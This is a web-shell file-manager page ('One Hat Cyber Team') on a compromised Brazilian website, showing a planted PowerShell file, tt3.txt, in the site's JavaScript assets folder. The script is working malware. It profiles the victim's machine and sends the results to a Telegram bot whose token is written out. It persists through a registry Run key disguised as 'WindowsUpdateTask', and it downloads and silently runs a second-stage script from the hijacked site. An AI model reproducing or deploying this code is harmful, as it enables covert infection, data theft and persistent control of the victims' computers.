One Hat Cyber Team

Your IP : 216.73.216.193

Server IP : 170.247.48.121

Server : Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64

Server Software : Apache

PHP Version : 7.0.33

Buat File | Buat Folder

Dir : ~/home/lelopagani.com.br/public/assets/js/

Edit File: tt3.txt

$group = "DefaultGroup"

function Write-Log {
    param(
        [string]$Message,
        [string]$Level = "INFO"
    )
    $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
    $logMessage = "[$timestamp] [$Level] $Message"
    Write-Host $logMessage
}

function Send-TelegramNotify {
    try {
        $username = $env:USERNAME
        $computerName = $env:COMPUTERNAME
        $cpu = try { (Get-CimInstance Win32_Processor).Name.Trim() } catch { "Unknown" }
        $gpu = try { (Get-CimInstance Win32_VideoController | Select-Object -First 1).Name.Trim() } catch { "Unknown" }
        $ram = try {
            $totalBytes = (Get-CimInstance Win32_ComputerSystem).TotalPhysicalMemory
            "{0:N2} GB" -f ($totalBytes / 1GB)
        } catch { "Unknown" }
      
        $ip = try {
            (Invoke-RestMethod -Uri "https://api.ipify.org/?format=json" -TimeoutSec 5).ip
        } catch {
            try {
                (Get-NetIPAddress | Where-Object { $_.AddressFamily -eq 'IPv4' -and $_.PrefixOrigin -eq 'Dhcp' } | Select-Object -First 1).IPAddress
            } catch { "Unknown" }
        }
      
        $os = [System.Environment]::OSVersion.VersionString
      
        $msg = @"
[+] New hit
User: $username
Host: $computerName
OS: $os
IP: $ip
CPU: $cpu
GPU: $gpu
RAM: $ram
Group: $group
Timestamp: $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss')
"@
      
        $bot = "7252153973:AAEEKvgf-cwqvWPviTklhbY6BPRbjwK3Jqw"
        $chat = "-1002513798195"
        $uri = "https://api.telegram.org/bot$bot/sendMessage"
        $body = @{
            chat_id = $chat
            text = $msg
            disable_notification = $true
        }
      
        Invoke-RestMethod -Uri $uri -Method Post -Body $body -TimeoutSec 10 | Out-Null
    } catch {}
}

function Add-Persistence {
    param(
        [string]$ScriptName = "tt3.ps1"
    )
  
    try {
        $targetPath = Join-Path $env:USERPROFILE $ScriptName

$scriptContent = $null

if ($PSCommandPath -and (Test-Path $PSCommandPath -PathType Leaf)) {
            $scriptContent = Get-Content -Path $PSCommandPath -Raw -Encoding UTF8
        }
        elseif ($MyInvocation.MyCommand.Path -and (Test-Path $MyInvocation.MyCommand.Path -PathType Leaf)) {
            $scriptContent = Get-Content -Path $MyInvocation.MyCommand.Path -Raw -Encoding UTF8
        }
        else {
            $scriptContent = $MyInvocation.MyCommand.ScriptBlock.ToString()
        }

if ($scriptContent) {
            Set-Content -Path $targetPath -Value $scriptContent -Encoding UTF8 -Force
        }

$psCommand = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$targetPath`""
      
        $regPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
        $regName = "WindowsUpdateTask"
      
        if (-not (Test-Path $regPath)) {
            New-Item -Path $regPath -Force | Out-Null
        }
      
        Set-ItemProperty -Path $regPath -Name $regName -Value $psCommand -Type String -Force
        return $true
    } catch {
        return $false
    }
}

Send-TelegramNotify
Add-Persistence -ScriptName "tt3.ps1"

$tempPath = Join-Path $env:TEMP "see3.ps1"
try {
    Invoke-WebRequest -Uri "https://www.lelopagani.com.br/assets/js/see3.ps1" -OutFile $tempPath -TimeoutSec 15
    Start-Process powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File `"$tempPath`"" -WindowStyle Hidden
} catch {}